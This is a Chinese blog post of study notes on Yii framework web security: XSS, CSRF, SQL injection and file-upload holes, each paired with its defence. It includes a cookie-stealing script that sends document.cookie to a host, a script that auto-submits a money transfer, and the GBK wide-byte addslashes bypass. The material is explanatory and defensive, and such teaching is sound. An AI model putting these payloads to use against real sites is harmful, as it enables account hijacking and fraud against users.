Yii 框架之安全篇

发布于 2025-02-15 16:56:05 字数 2537 浏览 3 评论 0

XSS 攻击和防范之存储

XSS 全称

XSS 概念

XSS 是一种经常出现在 Web 应用中的计算机安全漏洞,它允许恶意 Web 用户将代码植入到 提供给其它用户使用的页面中,从而对用户进行攻击

如何使用 XSS 攻击盗取用户账号

var cookie = document.cookie;
window.location.href = "http://127.0.0.1/index.php?cookie="+cookie;
  • 问题如下:document.cookie 获取得到的 cookie 是什么样的
  • index.php 是如何处理 cookie 值的
  • 有了 cookie 怎么就能进行盗取账号的

httponly 阻止 js 读取 cookie

哪一段 js 代码能够自动转账

document.getElementById('ipt-search-key').value='withyz@xx.com';
document.getElementById('amount').value='100';
document.getElementById('reason').value='劫富济贫';
document.getElementsByClassName('ui-button-text')[0].click();

如何把 js 注入到转账页面中

XSS 攻击和防范之反射

现代现浏览器(chrome) 对于反射型 XSS 有一定防护 手动关闭:\Yii::$app->response->headers->add('X-XSS-Protection', '0');

HTML 实体编码 URL 编码

XSS 攻击和防范之蠕虫

Yii 如何防范 XSS

转码防范 \yii\helpers\Html::encode($script);

过滤防范 \yii\helpers\HtmlPurifier::process($js);

CSRF 攻击和防范

跨站请求伪造

get 型的 crtf 攻击 构造 url, 诱使用户点击

透过例子能够看出,攻击者并不能通过 CSRF 攻击来直接获取用户的账户控制权,也不能直接窃取用户的任何信息。他们能做到的,是欺骗用户浏览器,让其以用户的名义执行操作。

yii 框架 csrf token 验证过程

检查 Referer 字段 HTTP 头中有一个 Referer 字段,这个字段用以标明请求来源于哪个地址。在处理敏感数据请求时,通常来说,Referer 字段应和请求的地址位于同一域名下。以上文银行操作为例,Referer 字段地址通常应该是转账按钮所在的网页地址,应该也位于 www.examplebank.com 之下。

而如果是 CSRF 攻击传来的请求,Referer 字段会是包含恶意网址的地址,不会位于 www.examplebank.com 之下,这时候服务器就能识别出恶意的访问。 这种办法简单易行,工作量低,仅需要在关键访问处增加一步校验。但这种办法也有其局限性,因其完全依赖浏览器发送正确的 Referer 字段。虽然 http 协议对此字段的内容有明确的规定,但并无法保证来访的浏览器的具体实现,亦无法保证浏览器没有安全漏洞影响到此字段。并且也存在攻击者攻击某些浏览器,篡改其 Referer 字段的可能。

添加校验 token 由于 CSRF 的本质在于攻击者欺骗用户去访问自己设置的地址,所以如果要求在访问敏感数据请求时,要求用户浏览器提供不保存在 cookie 中,并且攻击者无法伪造的数据作为校验,那么攻击者就无法再执行 CSRF 攻击。这种数据通常是表单中的一个数据项。服务器将其生成并附加在表单中,其内容是一个伪乱数。当客户端通过表单提交请求时,这个伪乱数也一并提交上去以供校验。正常的访问时,客户端浏览器能够正确得到并传回这个伪乱数,而通过 CSRF 传来的欺骗性攻击中,攻击者无从事先得知这个伪乱数的值,服务器端就会因为校验 token 的值为空或者错误,拒绝这个可疑请求。

SQL 注入和防范

addslashes() 转义函数 防范 SQL 注入

Sql 注入:将要执行的 sql 语句采用拼接的方式组装时,就 sql 注入的可能; 原本要查询的字符串在拼接后发生发“越狱”,部分字符串被数据库识别成可执行语句, 导致意外的操作和查询结果 防范:1,屏蔽关键字和敏感词,有影响业务逻辑的可能; 2, 对传入变量转义,避免变量的内容越狱

绕过转义: char(0xdf)/',在 utf-8 下会变成β/', 而在 gbk 下由于汉字是 2 个字节组成;在数据中将变成 運',单引号逃过了被转义

使用 PDO 统一数据库接口,可以无痛切换; 使用占位符防范 SQL 注入

文件上传漏洞

文件上传漏洞 如果后台对文件上传审查不严,导致 php 代码上传后被执行,可进行遍历文件等操作使源码泄露

用 fiddler 可以拦截请求,然后修改请求的内容,比如图片中的文件名,修改成如上形式后,会生成一个 php 文件,然后在上传后的目录执行 php 文件会造成危害

保存上传过来的文件名的时候不要用用户本来的名称,容易在中途被非法修改,从而变成.php 这些可执行文件,造成损害

如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。

扫码二维码加入Web技术交流群

发布评论

需要 登录 才能够评论, 你可以免费 注册 一个本站的账号。
列表为空,暂无数据

关于作者

全部不再

暂无简介

文章
评论
29 人气
更多

推荐作者

夢野间

文章 0 评论 0

百度③文鱼

文章 0 评论 0

小草泠泠

文章 0 评论 0

zhuwenyan

文章 0 评论 0

weirdo

文章 0 评论 0

坚持沉默

文章 0 评论 0

    我们使用 Cookies 和其他技术来定制您的体验包括您的登录状态等。通过阅读我们的 隐私政策 了解更多相关信息。 单击 接受 或继续使用网站,即表示您同意使用 Cookies 和您的相关数据。
    原文